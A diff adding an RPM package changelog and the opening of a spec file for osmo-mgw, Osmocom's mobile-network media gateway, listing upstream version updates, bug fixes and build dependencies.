+-------------------------------------------------------------------
+Mon Nov 25 21:07:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.25:
+ * fix use-after-free: require new fsm deferred dealloc, check for term
+
+-------------------------------------------------------------------
+Fri Nov 01 21:08:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.24:
+ * accept MGCP without SDP
+
+-------------------------------------------------------------------
+Wed Oct 30 21:02:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.23:
+ * client: endp fsm: add osmo_mgcpc_ep_ci_ep()
+ * client: endp fsm: allow cancelling a notify event
+ * client: endp fsm: clear ci[] before dispatching DLCX success
+ * client: endp fsm: add notify struct, prep for cancel-notify
+
+-------------------------------------------------------------------
+Mon Oct 28 21:02:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.19:
+ * clear pending requests on MGCP failure
+ * mgcp_client_fsm cleanup: Do not assert on DLCX failure
+
+-------------------------------------------------------------------
+Fri Sep 20 20:03:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.17:
+ * mgw: Allocate mgcp_conn instance under tcfg->endpoints
+ * mgcp_test: Correctly release all endpoints allocated
+
+-------------------------------------------------------------------
+Thu Aug 29 20:08:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.15:
+ * SDP: store all ptmap entries
+ * tweak mgcp_parse_audio_ptime_rtpmap()
+ * explicitly free codecs in mgcp_rtp_conn_cleanup()
+ * mgcp_codec_add: fix audio_name size check
+ * mgcp_codec: codec_set(): log about all possible errors
+ * ptmap: implicitly match '/8000' and '/8000/1'
+ * differentiate AMR octet-aligned=0 vs =1
+ * test_mgcp_codec_pt_translate(): more tests
+ * mgcp_test: extend / rewrite test_mgcp_codec_pt_translate()
+
+-------------------------------------------------------------------
+Wed Aug 28 20:03:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.6:
+ * fix memleak: actually free strings in mgcp_codec_reset_all()
+ * mgcp_codec: split codec_free() off of codec_init()
+
+-------------------------------------------------------------------
+Mon Aug 26 20:04:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.4:
+ * mgcp_send(): stop looping on conversion error
+ * fix crashes: don't assert on incoming RTP packet size
+
+-------------------------------------------------------------------
+Tue Aug 13 20:07:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.2:
+ * mgcp_codec: constify 'param' arg
+ * rename codecs_cmp() to codecs_same()
+
+-------------------------------------------------------------------
+Thu Aug 08 21:56:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.6.0.0:
+ * Bump version: 1.5.0.84-a2d10-dirty → 1.6.0
+ * configure.ac: Require libosmo-netif 0.6.0
+ * Remove undefined param passed to {logging,osmo_stats}_vty_add_cmds
+ * Fix return variable of strtoul()
+
+-------------------------------------------------------------------
+Thu Jul 25 20:34:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.81:
+ * Catch unsigned integer MGCP parsing errors with strtoul
+
+-------------------------------------------------------------------
+Wed Jul 24 20:28:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.80:
+ * doc: Add Osmux documentation to OsmoMGW User Manual
+
+-------------------------------------------------------------------
+Mon Jul 22 20:05:48 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.79:
+ * turn -Werror=null-dereference into a warning
+
+-------------------------------------------------------------------
+Sun Jul 21 20:05:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.78:
+ * mgcp_sdp: Don't check if an unsigned int is below 0
+
+-------------------------------------------------------------------
+Thu Jul 11 20:16:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.77:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Sun Jul 07 20:12:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.76:
+ * doc: X-Osmo-IGN: small formatting and typo fixes
+ * "make dist" fix for: no rule to make mgcp_common.h
+
+-------------------------------------------------------------------
+Wed Jul 03 20:08:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.74:
+ * mgw: Allow receiving uppercase noanswer keyword
+ * mgw: Allow receiving lowercase X-Osmo-Ign Callid field
+ * mgw: Allow receiving lowercase MGCP header keyword
+ * mgw: Make check of duplicated LCO fields case insensitive
+ * mgw: Support receiving lowercase LCO codec
+ * mgw: Support receiving uppercase connection mode
+ * mgcp-cli: Support lowercase header parameters
+ * mgw: Support lowercase header parameters
+ * mgw: Support uppercase LCO options
+
+-------------------------------------------------------------------
+Thu Jun 27 20:22:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.65:
+ * manuals: update VTY documentation
+ * vty: update desc of conn-timeout
+ * vty: allow 0 as conn-timeout to disable it
+
+-------------------------------------------------------------------
+Wed Jun 19 20:25:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.62:
+ * manuals: Update vty/counter documentation
+ * manuals: Add script to regenerate vty/counter documentation
+
+-------------------------------------------------------------------
+Fri May 31 20:03:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.60:
+ * debian: create -doc subpackage with pdf manuals
+
+-------------------------------------------------------------------
+Wed May 29 20:03:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.59:
+ * mgcp-cli: Validate osmux cid value during mgcp_msg_gen
+
+-------------------------------------------------------------------
+Tue May 21 20:02:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.58:
+ * osmux: Fix hardcoded rtp payload_type 98 in osmux conn
+
+-------------------------------------------------------------------
+Sun May 19 20:03:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.57:
+ * osmux: Fix CID release for non-enabled connections
+ * osmux: Fix loopback for Osmux connections
+ * osmux: Use DUMMY ft msg as per Osmux spec
+ * mgw, mgcp-li: Handle X-Osmux param name as case insensitive
+ * osmux: Redo read/write osmux glue code to have data routed correctly
+ * osmux: Delay osmux enable of conn until remote addr is configured by MDCX
+ * osmux: Improve logging around osmux enabling events
+ * osmux: Use remote port to send osmux frames
+ * osmux: Provide correct local port during mgcp resp
+ * mgcp-cli: endpoint_fsm: Add API to retrieve Osmux CID from MGW
+ * osmux: Drop unneeded OSMUX_STATE_NEGOTIATING
+ * mgcp-cli: Parse X-Osmux on MDCX response
+ * mgcp-cli: Allow submitting X-Osmux on MDCX request
+ * osmux: Handle Osmux MGCP extension in MDCX messages
+ * mgcp-cli: Parse X-Osmux on CRCX response
+ * mgcp-cli: Allow submitting X-Osmux on CRCX request
+ * osmux: Mark conn_rtp->type as osmux during CRCX
+ * osmux: Introduce mgcp_conn_rtp_is_osmux() helper
+ * osmux: Allocate CID during CRCX
+ * vty: Allow enabling Osmux
+
+-------------------------------------------------------------------
+Tue May 14 20:02:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.37:
+ * cosmetic: osmux: Document network byte order in port variable
+ * cosmetic: mgcp_udp_send: Document port param is in network byte order
+
+-------------------------------------------------------------------
+Mon May 13 20:02:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.35:
+ * osmux: Use LOGPCONN in several log calls
+ * osmux: Fix reception of legacy dummy payloads
+
+-------------------------------------------------------------------
+Sat May 11 20:03:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.33:
+ * configure.ac: drop useless check for -fvisibility=hidden
+
+-------------------------------------------------------------------
+Thu May 09 20:03:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.32:
+ * update .gitignore
+ * handle NULL return of rate_ctr_group_alloc()
+
+-------------------------------------------------------------------
+Wed May 08 20:03:58 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.30:
+ * osmux: Document func and return different rc upon osmux init failure
+ * mgcp-cli: Change osmo_mgcpc_ep_fsm name to avoid collision with old osmo-bsc
+
+-------------------------------------------------------------------
+Mon May 06 20:02:58 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.28:
+ * osmux: Log osmux socket during osmux_init
+ * mgcp_osmux.c: osmux_enable_endpoint: Fix incorrect return check
+
+-------------------------------------------------------------------
+Thu May 02 20:03:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.26:
+ * mgcp_internal: LOGPENDP: ensure *endp is not NULL
+
+-------------------------------------------------------------------
+Tue Apr 30 20:04:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.25:
+ * constify map_codec_to_pt() ptmap arg
+ * fix: multiple initial CRCX
+ * move MGW endpoint FSM from osmo-bsc to here
+
+-------------------------------------------------------------------
+Fri Apr 26 20:02:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.22:
+ * osmux: Cleanup of CID alloc pool APIs
+ * create_response_with_sdp: Fix inclusion of X-Osmux
+ * Introduce log fmt helpers LOGPENDP and LOGPCONN
+
+-------------------------------------------------------------------
+Wed Apr 24 20:03:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.19:
+ * cosmetic: handle_modify_con: Fix indentation level
+ * mgcp_msg: Log faulty line on Osmux parsing error
+
+-------------------------------------------------------------------
+Tue Apr 23 20:03:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.17:
+ * cosmetic: tests: mgcp_client_test: clean trailing whitespace
+ * cosmetic: Fix typos in comment
+ * libosmo-mgcp: Use trunk type during endpoint allocation
+
+-------------------------------------------------------------------
+Wed Apr 17 20:05:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.14:
+ * mgcp-client: Sanitize implementation of mgcp_client_rtpbridge_wildcard
+ * mgcp-client: whitespace cleanup in mgcp_client.c
+
+-------------------------------------------------------------------
+Tue Mar 19 21:03:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.12:
+ * AMR: Add function to convert between bw-effient and octet aligned mode
+
+-------------------------------------------------------------------
+Mon Mar 11 21:02:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.11:
+ * mgcp_network: use mgcp_rtp_codec in downlink format callback
+ * mgcp_sdp: untangle parsing of a= parameters
+ * mgcp_sdp: mgcp_sdp.c does not include own header file
+ * mgco_client: cosmetic: remove excess whitespace
+ * mgcp_sdp: cosmetic: correct typo in comment
+
+-------------------------------------------------------------------
+Wed Mar 06 21:03:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.6:
+ * make codec_table public as osmo_mgcpc_codec_names
+ * mgcp client: allow setting conn mode for CRCX and MDCX
+ * log: don't spam with "can not patch PT" messages
+
+-------------------------------------------------------------------
+Tue Feb 26 21:02:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.3:
+ * Add option to GSM HR frames to RFC5593 representation
+
+-------------------------------------------------------------------
+Wed Feb 06 21:02:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.2:
+ * Inactive connection cleanup (disabled by default)
+
+-------------------------------------------------------------------
+Wed Jan 30 21:02:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.1:
+ * Cosmetic: fix spaces/tabs in mgcp_requests[]
+
+-------------------------------------------------------------------
+Sun Jan 20 21:02:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.0:
+ * Bump version: 1.4.0.90-ed0c-dirty → 1.5.0
+
+-------------------------------------------------------------------
+Fri Jan 04 21:02:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.90:
+ * mgcp_client: tweak some log levels INFO -> {DEBUG,ERROR}
+ * mgcp_client: make domain part of endpoint configurable
+
+-------------------------------------------------------------------
+Thu Dec 20 21:02:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.88:
+ * mgcp_client: logging tweaks
+ * mgcp_client: drop a bunch of dead code
+ * mgcp_client_vty: fix missing talloc_free
+
+-------------------------------------------------------------------
+Wed Dec 19 21:02:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.85:
+ * osmo-mgw: err-log: include expected domain name
+
+-------------------------------------------------------------------
+Mon Dec 17 21:02:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.84:
+ * check_rtp: on IP:port errors, log the IP and port
+ * drop/replace very weird logging in mgcp_client.c
+
+-------------------------------------------------------------------
+Thu Dec 13 21:02:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.82:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Wed Dec 05 21:02:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.81:
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:02:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.80:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+ * jenkins.sh: remove leftover MGCP env variable
+
+-------------------------------------------------------------------
+Tue Nov 27 21:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.78:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * mgw: update vty reference
+ * OsmoMGW: document the 'X-Osmo-IGN' MGCP extension
+ * Add initial OsmoMGW manual
+ * mgw: Add new VTY reference
+ * vty-ref: Update URI of docbook 5.0 schema
+ * OsmoMGW: update VTY reference
+ * osmo-mgw: Add vty reference manual
+ * add DLCX command statistics to osmo-mgw
+
+-------------------------------------------------------------------
+Mon Nov 26 18:56:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.67:
+ * fix osmo-mgw -s; fixes osmo-mgw.service using -s
+
+-------------------------------------------------------------------
+Wed Nov 07 21:03:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.66:
+ * mgcp_protocol: increase buffer space for codec name in LCO
+
+-------------------------------------------------------------------
+Tue Nov 06 21:02:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.65:
+ * add aggregated rtp connection stats to osmo-mgw
+
+-------------------------------------------------------------------
+Tue Oct 30 21:02:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.64:
+ * add MDCX command statistics to osmo-mgw
+ * add more mgcp crxc error counters
+ * use local variable for rate counters in handle_create_con()
+ * show RTP TX/RX stats in 'mgcp show stats' output
+
+-------------------------------------------------------------------
+Mon Oct 29 21:02:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.60:
+ * add MGCP CRCX command statistics to osmo-mgw
+
+-------------------------------------------------------------------
+Thu Oct 25 20:02:35 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.59:
+ * check_rtp_origin(): Avoid using memcmp for comparing integer types
+ * check_rtp_origin(): Don't memcmp sockadd_in and in_addr
+
+-------------------------------------------------------------------
+Wed Oct 17 20:02:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.57:
+ * osmux: Avoid processing further frames if conn not found
+ * osmux.h: Document enum osmux_state
+ * osmux: Improve checks around activating and using enabled osmux
+ * osmux: allow enabling osmux only on correct activating state
+ * osmux: Make func handling dummy frames independent of endp type
+ * osmux: Move parse_cid of legacy dummy frames to own function
+ * osmux: Don't process regular osmux frames if disabled by cfg
+ * osmux_send_dummy: Avoid logging incorrectly and sending if osmux not enabled
+ * mgcp: Log endpoint nr consistently as hex
+ * osmux: Avoid initing output without enabling osmux
+
+-------------------------------------------------------------------
+Wed Sep 19 20:02:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.47:
+ * mgcp_osmux: Use define to calculate rtp_ssrc_winlen
+ * mgcp: Fix osmux_cid_bitmap static array size calculation
+
+-------------------------------------------------------------------
+Thu Sep 13 19:52:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.45:
+ * Install sample cfg file to /etc/osmocom
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Tue Sep 11 20:02:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.43:
+ * debian: Remove dangling symlink to osmo-bsc-mgcp.service
+ * log: avoid logging early media as error
+
+-------------------------------------------------------------------
+Mon Sep 10 22:22:04 UTC 2018 - mardnh@gmx.de
+
+- Remove libosmo-legacy-mgcp and osmo-bsc-mgcp
+
+-------------------------------------------------------------------
+Fri Sep 07 20:02:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.41:
+ * comment: indicate struct type for mgcp_endpoint.conns
+ * cosmetic: mgcp_test: fix get_conn_id_from_response()
+ * mgcp_conn_get(): match conn Id ('I:') despite leading zeros
+ * mgcp_conn_get(): compare conn Id ('I:') case insensitively
+ * Remove libosmo-legacy-mgcp and osmo-bsc-mgcp
+
+-------------------------------------------------------------------
+Thu Sep 06 20:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.36:
+ * generate shorter 'I:' conn IDs
+ * fix mgcp_verify_ci(): off-by-one in max len check
+ * mgcp_verify_ci(): return meaningful error codes
+ * doc: fix mgcp_verify_ci() return val doc
+ * mgcp_common: rename to MGCP_CONN_ID_MAXLEN
+ * mgcp_client: error on too long conn id
+ * mgcp_client_test: test long conn_id
+ * mgcp_client_test: also verify received conn_id
+ * mgcp_client_test: use "\r\n\r\n" instead of "\n\n"
+ * mgcp_client_test: cosmetically re-arrange reply_to() args
+
+-------------------------------------------------------------------
+Mon Sep 03 20:02:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.26:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Thu Aug 30 20:02:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.25:
+ * mgcp_test: fix get_conn_id_from_response() CI length
+ * mgcp_test: fix log of conn_id presence
+
+-------------------------------------------------------------------
+Wed Aug 29 20:02:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.23:
+ * mgcp_client_fsm: switch to MGCP_CONN_RECV_SEND in add_audio()
+
+-------------------------------------------------------------------
+Tue Aug 28 20:02:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.22:
+ * X-Osmo-IGN: rather parse items by token, not char
+ * add VTY commands which show specific mgcp endpoints
+
+-------------------------------------------------------------------
+Sun Aug 26 20:02:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.20:
+ * add X-Osmo-IGN MGCP header to ignore CallID
+
+-------------------------------------------------------------------
+Sat Aug 25 20:02:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.19:
+ * cosmetic: drop code dup in mgcp_client_fsm.c CRCX
+
+-------------------------------------------------------------------
+Fri Aug 24 12:15:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.18:
+ * fix 3G hack: allow any IP for loopback and 0.0.0.0
+
+-------------------------------------------------------------------
+Wed Aug 22 20:02:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.17:
+ * cosmetic: log: fix "CallIDs does not match"
+
+-------------------------------------------------------------------
+Tue Aug 21 20:02:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.16:
+ * interpret domain '*' as 'allow any domain'
+ * fix handling of "Wrong domain name" error
+
+-------------------------------------------------------------------
+Fri Aug 17 20:05:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.14:
+ * vty: Fix typo writing bts-jitter-buffer-delay-{min,max}
+
+-------------------------------------------------------------------
+Thu Aug 09 20:02:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.13:
+ * mgcp_client: check local port only once
+
+-------------------------------------------------------------------
+Sun Aug 05 20:02:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.12:
+ * mgcp_sdp: restructure mgcp_write_response_sdp() (audio)
+ * mgcp_sdp: restructure mgcp_write_response_sdp() (rtpmap)
+ * Cosmetic: remove misplaced line break
+ * network: check packets before further processing
+ * network: do not patch PT of RTCP packets
+
+-------------------------------------------------------------------
+Thu Aug 02 20:02:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.7:
+ * mgcp_test: release endpoints after use
+ * mgcp_client: increment local port number when port is in use
+ * mgcp_client: use IETF source port as for MGCP
+
+-------------------------------------------------------------------
+Tue Jul 31 20:02:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.4:
+ * mgcp_network: translate payload type numbers in RTP packets
+ * mgcp_client_fsm: allow ptmap in mgcp_client_fsm as well
+
+-------------------------------------------------------------------
+Sat Jul 28 20:02:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.2:
+ * configure: Find correct libgsm's gsm.h header
+
+-------------------------------------------------------------------
+Fri Jul 27 20:02:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.0.1:
+ * gitignore: Filter *.pc
+ * Bump version: 1.3.0.34-9cd52-dirty → 1.4.0
+
+-------------------------------------------------------------------
+Tue Jul 24 20:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.34:
+ * git-version-gen: Don't check for .git directory
+ * IuUP hack: make RTP patching less general
+ * cosmetic: mgcp_network.c: merge one LOGPC to its preceding LOGP
+
+-------------------------------------------------------------------
+Mon Jul 23 20:02:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.31:
+ * protocol: prevent unnecessary null pointer deref
+
+-------------------------------------------------------------------
+Mon Jul 09 20:02:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.30:
+ * stat+vty: fix printing of rate counter values
+
+-------------------------------------------------------------------
+Thu Jul 05 20:03:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.29:
+ * stats: replace packet statistic counters with libosmocore rate counters
+
+-------------------------------------------------------------------
+Tue Jul 03 20:02:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.28:
+ * mgcp_internal: remove unused struct member
+
+-------------------------------------------------------------------
+Mon Jul 02 20:02:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.27:
+ * gitignore: Add m4 scripts from m4 subdir
+ * debian: Package installed example doc files
+
+-------------------------------------------------------------------
+Tue Jun 26 20:02:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.25:
+ * cosmetic: fix doxygen comment markers
+
+-------------------------------------------------------------------
+Sat Jun 23 20:02:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.24:
+ * client: add features to generate and parse codec information
+ * mgw: clean up codec negotiation (sdp)
+
+-------------------------------------------------------------------
+Fri Jun 15 20:02:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.22:
+ * mgcp_client_fsm: improve error logging
+
+-------------------------------------------------------------------
+Wed Jun 13 20:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.21:
+ * mgcp-client: add mgcp_conn_get_ci()
+
+-------------------------------------------------------------------
+Thu Jun 07 10:38:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.20:
+ * cosmetic: fix typo
+ * protocol: reject illegal lco options
+ * protocol: do not change LCO, when no LCO are present
+
+-------------------------------------------------------------------
+Tue Jun 05 20:03:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.17:
+ * cosmetic: fix log output
+ * conn: call talloc_free before setting the pointer to NULL
+
+-------------------------------------------------------------------
+Sat Jun 02 20:02:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.15:
+ * cosmetic: fix typo in log message: 'abrupt' instead of 'aprupt'
+
+-------------------------------------------------------------------
+Tue May 29 20:02:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.14:
+ * client: do not start connections in loopback mode
+ * mgcp_network: do not log destination invalid ip/port as error
+
+-------------------------------------------------------------------
+Fri May 25 20:02:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.12:
+ * sdp: remove unused alt_codec field from struct mgcp_rtp_end
+ * sdp: remove circular inclusion
+ * protocol: Try whole port range on port allocation
+
+-------------------------------------------------------------------
+Thu May 24 20:02:35 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.9:
+ * vty: clean up rtp port-range command
+
+-------------------------------------------------------------------
+Tue May 22 20:02:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.8:
+ * mgcp_sdp: correct apidoc of mgcp_parse_sdp_data
+
+-------------------------------------------------------------------
+Sun May 20 20:02:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.7:
+ * api doc: fix parameter name for mgcp_conn_create()
+
+-------------------------------------------------------------------
+Sat May 19 20:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.6:
+ * legacy-mgcp: Add jitter buffer on the uplink receiver
+ * legacy-mgcp: switch to new osmux output APIs
+ * mgcp: mgcp_osmux: use conn_bts when forwarding pkts from bsc_nat
+ * mgcp: switch to new osmux output APIs
+
+-------------------------------------------------------------------
+Thu May 17 20:03:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.2:
+ * network: independently initalize state->out_stream
+ * stats: use libosmocore rate counter for in/out_stream.err_ts_counter
+
+-------------------------------------------------------------------
+Thu May 03 20:03:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.3.0.0:
+ * Bump version: 1.2.0.109-8d064-dirty → 1.3.0
+
+-------------------------------------------------------------------
+Mon Apr 23 20:02:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.109:
+ * Revert "stats: use libosmocore rate counter for in/out_stream.err_ts_counter"
+
+-------------------------------------------------------------------
+Wed Apr 18 20:02:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.108:
+ * stats: use libosmocore rate counter for in/out_stream.err_ts_counter
+
+-------------------------------------------------------------------
+Sat Apr 07 18:53:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.107:
+ * cosmetic: rename function .._conn_reset() to .._conn_init()
+ * mgcp_conn: do not touch u.rtp in mgcp_conn_alloc()
+ * cosmetic: rename .._codec_reset() to .._codec_init()
+ * mgcp_conn: add function mgcp_rtp_conn_cleanup()
+ * cosmetic: mgcp, legacy_mgcp: drop unused vty.h definitions
+ * use osmo_init_logging2() with proper talloc ctx
+
+-------------------------------------------------------------------
+Wed Mar 14 21:33:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.0.101:
+ * mgcp_stat: Don't print osmux stats if it is off
+ * mgcp_client: show failure by MGCP SDP section parsing test
+ * mgcp_client: cosmetic: clean up SDP params parsing
+ * mgcp_client: detect SDP section-start parsing errors
+ * compiler warning: ignore deprecated in mgcp_client_test.c
+ * enable osmo_fsm vty commands in libosmo-mgcp-client vty
+ * mgcp_client_fsm: Add FSM event names
+ * cosmetic: mgcp_client_fsm: rename enums
+ * configure: add --enable-werror
+ * jenkins.sh: add --enable-werror to configure flags
+
+-------------------------------------------------------------------
+Sat Feb 10 20:45:51 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Sat Feb 10 16:11:11 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.2.0.89
+
+-------------------------------------------------------------------
+Wed Jan 24 13:09:55 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.2.0.57
+- Remove patch:
+ * osmo-mgw-fix-cflags.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Fri Dec 29 12:51:29 UTC 2017 - jengelh@inai.de
+
+- Drop %restart_on_update et al; %service_* already takes care
+ of it.
+- Resolve package-name-repeated-in-summary.
+
+-------------------------------------------------------------------
+Wed Dec 27 16:51:07 UTC 2017 - mardnh@gmx.de
+
+- Initial package, version 1.2.0
+- Add patch:
+ * osmo-mgw-fix-cflags.patch
diff --git a/rpm-local/spec/osmo-mgw/osmo-mgw.spec b/rpm-local/spec/osmo-mgw/osmo-mgw.spec
new file mode 100644
index 0000000..a1f1d0d
--- /dev/null
+++ b/rpm-local/spec/osmo-mgw/osmo-mgw.spec
@@ -0,0 +1,129 @@
+#
+# spec file for package osmo-mgw
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: osmo-mgw
+Version: 1.7.0.10
+Release: 0
+Summary: Osmocom's Media Gateway for 2G and 3G circuit-switched mobile networks
+License: AGPL-3.0-or-later AND GPL-2.0-or-later
+Group: Hardware/Mobile
+URL: https://osmocom.org/projects/osmo-mgw
+Source: %{name}-%{version}.tar.xz
+BuildRequires: automake >= 1.9
+BuildRequires: libtool >= 2
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: systemd-rpm-macros
+BuildRequires: pkgconfig(libosmo-netif) >= 0.6.0
+BuildRequires: pkgconfig(libosmocore) >= 1.0.0
+BuildRequires: pkgconfig(libosmoctrl) >= 1.1.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.0.0
+BuildRequires: pkgconfig(libosmovty) >= 1.0.0
+BuildRequires: pkgconfig(libosmocoding) >= 1.0.0
+%{?systemd_requires}
+
+%description
+OsmoMGW is Osmocom's Media Gateway for 2G and 3G circuit-switched mobile networks.
+
+%package -n libosmo-mgcp-client6
+Summary: Osmocom's Media Gateway Control Protocol client library
+Group: System/Libraries
+
+%description -n libosmo-mgcp-client6
+Osmocom's Media Gateway Control Protocol client library.
+
+%package -n libosmo-mgcp-client-devel
+Summary: Development files for Osmocom's Media Gateway Control Protocol client library
+Group: Development/Libraries/C and C++
